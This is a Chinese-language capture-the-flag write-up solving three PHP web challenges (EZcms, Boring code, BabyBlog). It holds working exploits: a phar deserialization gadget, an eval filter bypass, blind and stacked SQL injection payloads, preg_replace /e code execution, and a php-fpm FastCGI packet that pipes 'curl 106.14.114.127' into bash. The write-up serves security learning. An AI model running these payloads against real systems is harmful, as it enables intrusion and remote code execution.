1.EZcms
這道題思路挺明確,給了源碼,考點就是md5哈希擴展+phar反序列化
首先這道題會在上傳的文件目錄下生成無效的.htaccess,從而導致無法執行上傳的webshell,所以就需要想辦法刪除掉.htaccess
這里主要記錄一點,利用php內置類進行文件操作,
exp為:
<?php class File{ public $filename; public $filepath; public $checker; function __construct() { $this->checker = new Profile(); } } class Profile{ public $username; public $password; public $admin; function __construct() { $this->admin = new ZipArchive; $this->username = '/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess'; $this->password = ZIPARCHIVE::OVERWRITE; } } @unlink("test.phar"); $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $o = new File(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
通過反序列化File類,從而調用Profile類的upload_file函數,此時觸發Profile類的call方法,
這里實際調用了open方法,其實Profile類里沒有這個方法,所以去內置類中找,並且admin可控為任何內置類,這里用到了Archive::open方法來覆蓋寫文件,當然這是一個原題的知識點,這里記錄一下如何找到它,fuzz的代碼如下:
<?php echo "get_declared_classes()"."\n"; $a=get_declared_classes(); foreach($a as $class){ $arr_func=get_class_methods($class); echo $class."\n"; var_dump($arr_func); }
通過get_declared_classes和get_class_methods方法就能夠獲得php所有內置類對應的方法,此時只要進行一個簡單的字符串匹配,就能找到同名的所需要的函數,以后遇到需要用到內置類的同名方法時也能夠進行快速fuzz
<?php #echo "get_declared_classes()"."\n"; $a=get_declared_classes(); foreach($a as $class){ $arr_func=get_class_methods($class); foreach($arr_func as $func){ if($func=="open"){ echo $class." ".$func."\n"; } } }
其中open函數可以指定覆蓋模式,此時第一參數即為要刪除的文件名,此時就能夠滿足對.htaccess文件的刪除,后續操作即上傳phar文件,利用suctf中
php://filter/resource=phar://來進行phar反序列化,這里上傳shell時會對內容過濾一些常見關鍵字:
使用php字符串連接.點繞過即可
2.Boring code
<?php function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; } if (isset($_POST['url'])){ $url = $_POST['url']; if (is_valid_url($url)) { $r = parse_url($url); if (preg_match('/baidu\.com$/', $r['host'])) { $code = file_get_contents($url); if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } } else { echo "error: host not allowed"; } } else { echo "error: invalid url"; } }else{ highlight_file(__FILE__); }
取$url下的內容傳入eval執行,這里過濾了data協議,否則可以通過
data://baidu.com/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=
來繞過preg_match的檢查,這里目前我知道有三種解決方法:
1.可以直接購買一個xxxxxbaidu.com的域名
2.或者利用百度的url跳轉
3.利用百度雲自動生成的鏈接
這里將直接顯示文件完整的鏈接,此時在php中使用file_get_contents試試:
此時能夠直接對遠程文件內容進行獲取,也滿足了題目baidu.com的條件的限制,此時第一層preg已經可以繞過,
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code))
這里用到了遞歸匹配,即最終匹配到的函數調用格式只能是a(b(c())),並且是無參數的
https://zh.functions-online.com/preg_replace.html
又因為題目的flag已經提示在../index.php,所以要讀到這個文件:
readfile(end(scandir('.')));
以上一段代碼會返回當前文件夾的最后一個文件
而當前正則不能使用.點,所以要構造出一個.點,
關鍵函數1:
localeconv,函數返回一包含本地數字及貨幣格式信息的數組。
結合pos函數或者current函數獲取數組中的指定元素,默認是第一個元素,當然可以結合next函數返回第二個元素;
因為此時要跨目錄,所以需要chdir切換一下目錄
此時可以使用chdir切換目錄,但是chdir返回值為1或者0,不能夠返回一個.點,因此使用localtime()+time()函數結合起來可以返回1個int數組,此時使用pos()函數獲取第一個元素
即為當前秒數,那么當為每分鍾46秒時將結合chr函數返回.點。
所以此時payload已經很明確,為:
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
此時只要將payload放到百度雲盤上,並獲取此鏈接,然后再burp重復發包即可,這里也可以使用如下的payload:
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));
利用if(1),從而來執行readfile()函數
3.BabyBlog
這道題主要是二次注入,這里主要漏洞點在$content,這里直接使用addslashes進行一個轉義
而在edit.php中,這里直接將存進庫中的title數據查出來並拼接到update語句中,所以這里明顯存在二次注入,臟數據沒有進行過濾,只是進行了入庫前的轉義,從而導致漏洞的產生,這里引入了config.php來對get和post的參數進行了檢測
注入點在此,並且在replace.php中,這里可以拼接preg_match,並且php的版本為5.3.29,php版本5.4以下都存在%00截斷問題,以及結合/e選項進行代碼執行
這里$_POST['find']=.*/e%00 $_POST['replace']=phpinfo();
preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']
就能夠執行phpinfo();
而在register.php中,我們已經知道此時注冊的用戶默認isvip等於0,那么只有通過注入來實現讓isvip為1,那么有兩種方法:
1.通過注入來找到數據庫中已經存在的isvip為1的用戶;
2.通過注入來將當前我們注冊的用戶的isvip字段更新為1;
第一種方法:
第一種方法,貌似不是出題人的主要考點,初始數據庫中沒有任何用戶,第二種方法我覺得才是預期做法,利用PDO在php5.3以后是支持堆疊查詢,從而更新當前用戶的is_vip字段
首先注冊一個用戶,此時可以看到isvip為0,在writing.php頁面,因為已經知道注入點在title字段,所以我們此時提交注入的payload,當然在這里本地肯定一定要測試一下payload,能否通過waf檢測
<?php $sql = new PDO("mysql:host=localhost;dbname=babyblog", 'root', 'root') or die("SQL Server Down T.T"); function SafeFilter(&$arr){ foreach ($arr as $key => $value) { if (!is_array($value)){ $filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; if(preg_match('/' . $filter . '/is',$value)){ echo preg_replace('/'.$filter.'/is',"@@@",$value); echo "123"; } else{ echo "321"; } }else{ SafeFilter($arr[$key]); } } } $_GET && SafeFilter($_GET);
本地測試payload:
1' ^ (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1) ^'1
此時select a from b這種形式被過濾了
但是可以用select(a)from b
綜上payload可以更換為:
1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>1) ^ '1
此時我們可以測試一下:
當提交如上payload,即取所有表名連接起來的第一位ascii大於1,此時update的where拼接應該是:
where title='1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>1) ^ '1'
此時更新這條blog的title為12345
此時我們對應的id的title和content將被更新為12345,默認為最新的一條blog,因為此時where條件為1
那么另一種邏輯為:
1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>200) ^ '1
此時edit更新其值是不能成功的,因為where條件為0
當然在命令行下也是可以驗證這種邏輯的,因此基於這種邏輯就能夠依次暴庫、表、字段,所以編寫腳本時只需要注意兩點:
1.在writing.php寫payload
2.在edit.php更新blog,因為需要更新最新的一條為含有payload的blog,而每條blog有對應的id,因此需要正則匹配所有的id號並取列表第一個即為最新的id,此時更改此條id的blog,若當前查的數據ascii為10,payload為<10,則更新成功,依次增大payload中ascii碼,直到更新失敗,此時ascii-1即為當前查的數據的ascii碼值
基於以上兩條即可得到isvip為1的用戶的賬號和密碼,前提是別人已經更新成功isvip為1的用戶。
第二種方法
第二種采用堆疊注入的形式,直接update當前用戶為isvip為1
payload為:
tr1ple';SET @SQL=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d22747231706c65223b;PREPARE sql FROM @SQL;EXECUTE sql;#
這樣就能更新tr1ple用戶的isvip為1
並且此時本地測試payload是可以通過的
此時回到數據庫中可以看到此時isvip已經為1,那么此時就可以進行第二步了,結合preg_match的%00截斷正則匹配表達式,並且此時配合/e參數來進行rce
后面就是常規的套路,繞過openbase_dir和繞過disable_function
<?php $file_list = array(); // normal files $it = new DirectoryIterator("glob:///*"); foreach($it as $f) { $file_list[] = $f->__toString(); } // special files (starting with a dot(.)) $it = new DirectoryIterator("glob:///.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}<br/>"; } ?>
此時可以用以上代碼進行bypass列文件,可以在根目錄發現readflag,一般來說肯定要調用readflag來讀取flag,所以此時要執行readflag,沒有禁用error_log,因此可以使用putenv+error_log來進行bypass diable_function,當然這道題也可以用打php-fpm來繞過openbase_dir和disable_function
$fp = stream_socket_client("套接字地址", $errno, $errstr,30);
$out = urldecode("%01%01%1C%AE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1C%AE%01%DC%00%00%0E%02CONTENT_LENGTH51%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%1C%AE%00%00%00%00%01%05%1C%AE%003%00%00%3C%3Fphp%20hello_world%28%27curl%20106.14.114.127%20%7C%20bash%27%29%3B%20%3F%3E%01%05%1C%AE%00%00%00%00");
stream_socket_sendto($fp,$out);
while (!feof($fp))
{echo htmlspecialchars(fgets($fp, 10)); }fclose($fp);
這里可以直接與目標unix 套接字進行通信,其中變量$out即為發送到目標套接字的地址,payload可以根據p牛的python腳本進行更改,改為只輸入payload不發出payload,此時再通過此執行此php文件來
php_value = "allow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nextension_dir = /tmp\nextension = tr1ple.so\nauto_prepen_file=php://input
這樣我們就可以上傳該exp文件,並且上傳so文件到tmp目錄,然后打php-fpm,只需要php://input中結putenv+errorlog即可進行rce